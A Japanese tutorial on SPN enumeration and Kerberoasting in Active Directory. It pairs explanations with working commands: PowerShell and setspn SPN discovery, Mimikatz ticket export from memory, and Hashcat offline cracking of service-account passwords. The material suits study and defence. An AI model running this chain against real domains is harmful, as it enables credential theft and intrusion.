SPN (Service Principal Name) の概要とKerberos認証
Windows Active Directory (AD) 環境では、ネットワークリソースへのアクセス制御を一元管理し、きめ細やかな権限割り当てを実現するために、各サービスに対して一意の識別子である SPN (Service Principal Name) が付与されます。
Kerberos 認証プロトコルにおいて、サービスは特定のアカウント(ビルトインアカウントまたはドメインユーザーアカウント)のコンテキストで実行されます。ビルトインアカウント(例: Network Service)の場合は SPN が自動的に登録されますが、通常のドメインユーザーアカウントでサービスを実行する場合は、管理者が手動で SPN を登録する必要があります。
攻撃者はこの仕組みを悪用し、ドメインコントローラー (DC) に対して SPN のクエリを発行することで、ネットワークポートスキャンを行わずに内網に存在する特定のサービス(MSSQL、Exchange、RDPなど)をステルスに特定できます。
Kerberos認証とSPNの連携フロー
ユーザーが AD にログオンすると、キー配布センター (KDC) からチケット付与チケット (TGT) が発行されます。ユーザーが特定のサービス(例: MSSQL)にアクセスする際、クライアントは DC に対して該当する SPN を持つサービスチケットを要求します。KDC のチケット付与サービス (TGS) は TGT を検証し、問題がなければ対象 SPN に関連付けられたサービスアカウントのハッシュで暗号化されたサービスチケット (TGS) をクライアントに返します。クライアントはこのチケットを提示してサービスにアクセスします。
SPNの命名規則と具体例
SPN は以下の構文で構成されます。
<serviceclass>/<hostname>[:<port>][/<servicename>]
- serviceclass: サービスの種類(必須)
- hostname: マシンの FQDN(必須)
- port: リスニングポート(任意)
代表的なサービスの SPN 例:
- MSSQL:
MSSQLSVC/sqlserver01.corp.local:1433 - Exchange:
exchangeMDB/exch01.corp.local - RDP:
TERMSERV/rdphost.corp.local
ステルスなサービス探索 (SPNスキャン)
従来のポートスキャンは大量の SYN パケットを生成するため、IDS/IPS のアラートを触发しやすいです。一方、SPN スキャンは LDAP プロトコル経由で DC にクエリを送るだけなので、非常にステルス性が高いです。
PowerShell を用いたネイティブな SPN 探索スクリプトの例(外部モジュールに依存しない代替実装):
# ドメイン内のすべてのMSSQL関連SPNを検索する
$searcher = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$searcher.Filter = "(&(servicePrincipalName=MSSQLSvc*))"
$results = $searcher.FindAll()
foreach ($result in $results) {
$entry = $result.GetDirectoryEntry()
Write-Host "Account: $($entry.sAMAccountName) | SPN: $($entry.servicePrincipalName)"
}
コマンドラインツール setspn を使用した一覧取得:
setspn -T corp.local -Q */*
Kerberoasting攻撃のメカニズム
Kerberoasting は、TGS チケットの暗号化方式(主に RC4_HMAC_MD5)の脆弱性を突くオフラインパスワードクラッキング手法です。攻撃者は有効な TGT を使用して、ターゲットの SPN に対するサービスチケットを要求します。このチケットは、サービスアカウントの NTLM ハッシュで暗号化されています。攻撃者はメモリからこのチケットを抽出し、オフライン環境で辞書攻撃やブルートフォース攻撃を行うことで、サービスアカウントの平文パスワードを特定しようとします。
この攻撃が成功しやすい要因として、サービスアカウントに「パスワードを期限切れにしない」設定が適用されていたり、複雑性の要件が甘かったりすることが挙げられます。
Kerberoasting攻撃の実践ステップ
1. 標的SPNの手動登録
# ターゲットユーザーに対してRDPサービスのSPNを登録
setspn -A TermService/targethost.corp.local:3389 svc_rdp_user
# 登録されたSPNの確認
setspn -L svc_rdp_user
2. サービスログオン権限の付与
ローカルセキュリティポリシー(secpol.msc)の「ユーザー権利の割り当て」にある「サービスとしてログオン」に該当ユーザーを追加します。
3. ダウングレード攻撃のための暗号タイプ設定
Kerberos の暗号化タイプを RC4 に強制するため、グループポリシーの「ネットワーク セキュリティ: Kerberos で許可される暗号化タイプ」で RC4_HMAC_MD5 を有効化します。現代の環境では AES がデフォルトですが、攻撃の成功率を高めるために RC4 をターゲットにすることがあります。
4. PowerShellによるサービスチケットの要求
.NET の System.IdentityModel アセンブリを利用して、KDC にチケットを要求します。
# アセンブリのロード
[System.Reflection.Assembly]::LoadWithPartialName("System.IdentityModel") | Out-Null
# ターゲットSPNの指定
$targetSpn = "TermService/targethost.corp.local"
# KerberosRequestorSecurityToken オブジェクトの生成とチケット要求
$tokenRequestor = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $targetSpn
5. メモリからのチケット抽出
Mimikatz を使用して、メモリ上にキャッシュされた Kerberos チケットをエクスポートします。
mimikatz # sekurlsa::tickets /export
これにより、カレントディレクトリに .kirbi 形式のファイルが保存されます。
6. オフラインハッシュクラッキング
抽出したチケットからハッシュを抽出し、Hashcat を使用してクラッキングします。
# kirbi ファイルからハッシュ形式を変換
python3 kirbi2john.py extracted_ticket.kirbi > target_hash.txt
# Hashcat を使用したオフラインクラッキング (モード 13100: Kerberos 5 TGS-REP)
hashcat -m 13100 target_hash.txt wordlist.txt